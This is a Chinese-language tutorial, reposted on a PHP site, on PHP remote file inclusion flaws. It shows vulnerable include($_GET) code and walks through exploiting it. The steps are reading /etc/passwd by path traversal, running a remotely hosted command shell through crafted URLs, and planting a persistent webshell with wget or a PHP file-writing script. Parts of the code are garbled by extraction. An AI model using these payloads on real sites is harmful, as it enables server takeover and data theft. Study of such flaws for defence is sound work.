首頁  >  文章  >  php教程  >  php 遠端包含檔案漏洞分析

php 遠端包含檔案漏洞分析

黄舟
黄舟原創
2016-12-14 13:41:311255瀏覽

幾乎所有的cgi程式都有這樣的 bug,只是具體的表現方式不一樣罷了。

一、涉及的危險函數〔include(),require()和include_once(),require_once()〕

include() && require()語句:包含並執行指定檔案。

這兩種結構除了在如何處理失敗之外完全一樣。 include() 產生一個警告而 require() 則導致一個致命錯誤。換句話說,如果你想在遇到遺失檔案時停止處理頁面就用 require()。 include() 就不是這樣,腳本會繼續運作。 
如果"allow_url_fopen"在 PHP 中被啟動(預設設定),也可以用 URL(透過 HTTP 或其它支援的封裝協定)而不是本機檔案來指定要被包含的檔案。如果目標伺服器將目標檔案作為 PHP 程式碼解釋,則可以用適用於 HTTP GET 的 URL 請求字串來傳遞變數至被包含的檔案。 

require_once() && include_once() 
require_once ()和include_once() 語句在腳本執行期間包含並執行指定檔案。此行為和 require() 語句類似,唯一差異是如果該檔案中的程式碼已經被包含了,則不會再次包含。適用於在腳本執行期間同一個檔案有可能被包含超過一次的情況下,你要確保它只被包含一次以避免函數重定義,變數重新賦值等問題。

二、為什麼要包含文件

程式設計師寫程式的時候,不喜歡做同樣的事情,也不喜歡把同樣的程式碼(例如一些公用的函數)寫幾次,於是就把需要公用的程式碼寫在一個單獨的檔案裡面,例如share.php,而後在其它檔案進行包含呼叫。在php裡,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想在main.php裡包含share.php,我將這樣寫include("share.php")就達到目的,然後就可以使用share.php中的函數了,像這個寫死需要包含的檔案名稱的自然沒有什麼問題,也不會出現漏洞,那麼問題到底是出在哪裡呢? 
有的時候可能無法確定需要包含哪個文件,例如先來看下面這個文件index.php的程式碼: 
[code]

if ($_GET ) { 
include $_GET
} else { 
include "home.php"; 

[/code] 
正常運作的程式碼,它是正常運作的呢?這裡面牽涉到$_GET的意義,我就​​不打算講了(要不又能寫篇HTTP的文章了),如果你還不了解GET,POST,等,那麼你需要再穀歌一些相關的資料好好補一補了。 
1.提交上面這個URL,在index.php中就取得這個page的值($_GET )。 
2.判斷$_GET 
是不是空,若不空(這裡是main.php)就用include來包含這個檔案。 
3.若$_GET 
空的話就執行else,來include home.php 這個文件。 

三、為什麼會產生漏洞 

你也許要說,這樣很好呀,可以按照URL來動態包含文件,多麼方便呀,怎麼產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調用)的文件,比如我們會隨便的打入下面這個URL :http: //www.jb51.net/php/index.php?page=hello.php。然後我們的index.php程式就傻傻按照上面我們說得步驟去執行:取page為hello.php,然後去include(hello.php),這時問題出現了,因為我們並沒有hello.php這個文件,所以它include的時候就會報警告,類似下列資訊: 

Quote: 
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/ index.php on line 3 
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3 上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而後面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。

四、怎麼利用 

上面可以看到,問題出現了,那麼我們怎麼利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這裡說三個比較常見的利用方法:

1.包含讀出目標機上其它文件 

由前面我們可以看到,由於對取得的參數page沒有過濾,於是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/php/),那麼我們就可以多次探測來包含其它文件,例如指定URL為:http: //www.jb51.net/php/index.php?page=. /txt.txt 可以讀出目前路徑下的txt.txt文件,也可以使用.. /../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統文件,像是這個URL:http: //www.phphtm.com/php/index.php?page=/etc/passwd ,如果目標主機沒有對權限限制的很嚴格,或是啟動Apache的權限比較高,是可以讀出這個文件內容的。否則就會得到一個類似:open_basedir restriction in effect.的Warning。

2.包含可運行的PHP木馬 

如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP程式碼的webshel​​l來直接運行,例如,我先寫一段運行命令的PHP程式碼(加了註釋,應該看得懂),如下保存為cmd.txt(後綴不重要,只要內容為PHP格式就可以了)。
CODE: [Copy to clipboard] 
----------------------------------------- --------------------------------------- 

if (get_magic_quotes_gpc()) 
{$ _REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字元(可去掉字串中的反斜線字元) 
ini_set("max_execution_time",0);定針對這個文件的執行時間,0為不限制. 
echo " 
1.S.T 
";      //列印的返回的開始行提示訊息的命令 
echo " 
1.S.T 
";      //打印的返回的結束行提示訊息 
?> 
以上這個檔案的作用就是接受cmd S.T之間。把這個檔案存到我們主機的伺服器上(可以是不支援PHP的主機),只要能透過HTTP存取到就可以了,例如位址如下:http: //www.phphtm.com/cmd.txt ,然後我們就可以在那個漏洞主機上建構如下URL來利用了:http: //www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt?cmd=ls ,其中cmd後面的就是你需要執行的指令,其它常用的指令(以*UNIX為例)如下: 

Quote: 
ll 欄位目錄、檔案(相當於Windows下dir) 
pwd 查看目前絕對路徑 
id whoami 查看目前使用者 
wget 下載指定URL的檔案 

等等其它的,而您主機去BAIDU找吧,就不列舉了。
上面的方法就是得到一個Webshel​​l了(雖然這個PHP檔案不在目標機上,但是它確實是個Webshel​​l,不是麼?呵呵) 

3.包含一個創建文件的PHP文件 

也許有的人認為還是得到目標機上的一個真實的Webshel​​l比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠端包含得到上面的那個"偽"Webshel​​l了,不是麼?可以理解這個心態,我們繼續。得到一個真實的Webshel​​l,我們也說兩種常見的方法: 

1)使用wget之類的指令來下載一個Webshel​​l 

這個比較簡單,也很常用,在上面我們得到的那個偽webshel​​l中,我們可以執行指令,那我們也可以呼叫系統中的一個很厲害的角色,wget,這個指令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那麼複雜,我們就使用一個-O(--output-document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個包含PHP程式碼的Webshel​​l在一個可以透過HTTP或FTP等可以存取的地方,例如:http: //www.jb51.net/1stphp.txt ,這個檔案裡寫的就是Webshel​​l的內容。然後我們在前面得到的偽Webshel​​l中執行如下的URL:http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt? cmd=wget http ://www.phphtm.com,如果目前目錄可寫,就能得到一個叫做1stphp.php的Webshel​​l了;如果目前目錄不可寫,還需要想其它的辦法。

2)使用檔案來建立 

前面的wget可能會遇到目前目錄不能寫的情況;或是目標主機停用了(或沒裝)這個指令,我們又需要變通一下了,我們可以結合前面的包含檔案漏洞來包含一個建立檔案(寫檔案)的PHP腳本,內容如下: 
CODE: [Copy to clipboard] 
----------------------- -------------------------------------------------- ------- 

$f=file_get_contents(http://www.phphtm.com); //開啟指定路徑的檔案流 
$ff=fopen("./upload/1st.php"," a");     //尋找一個可以的目錄,建立一個檔案 
fwrite ($ff,$f);  //把前面打開的檔案流寫到建立的檔案裡 
fclose($ff);   /關閉儲存  /關閉儲存文件 
?> 
還是寫入我們上面用wget下載的那個php文件,但是我們改進了方法,用PHP腳本來實現,可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這裡的upload,然後把檔案建立在這個目錄下:./upload/1st.php。然後就得到我們的Webshel​​l了。

五、後話 

其實到這裡我們的這個分專題就可以結束了,最後再嘮叨幾句,文件包含漏洞基本上算比較簡單但是危象係數很高的漏洞,在很多系統中還是存在的,只要細心一點,可以發現很多的。利用起來過程比較靈活,要擅於針對問題進行分析,找出解決的方法,就能慢慢進步。 
漏洞涉及的知識很多,不能一一涉及,沒說清除的地方,歡迎發問,或是自己去Google解決。時間匆忙,描述不妥之處還望大家指正修訂!
最後,這樣的東西需要多實踐,等有時間,我會找個具體的例子來把這個流程走一遍,以使大家有深刻的認識;你也可以現在就去找找看,發現什麼漏洞,希望能把自己比較詳細的分析和利用過程在這裡與大家分享!

感謝您的閱讀,更多相關文章請關注PHP中文網(www.php.cn)!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn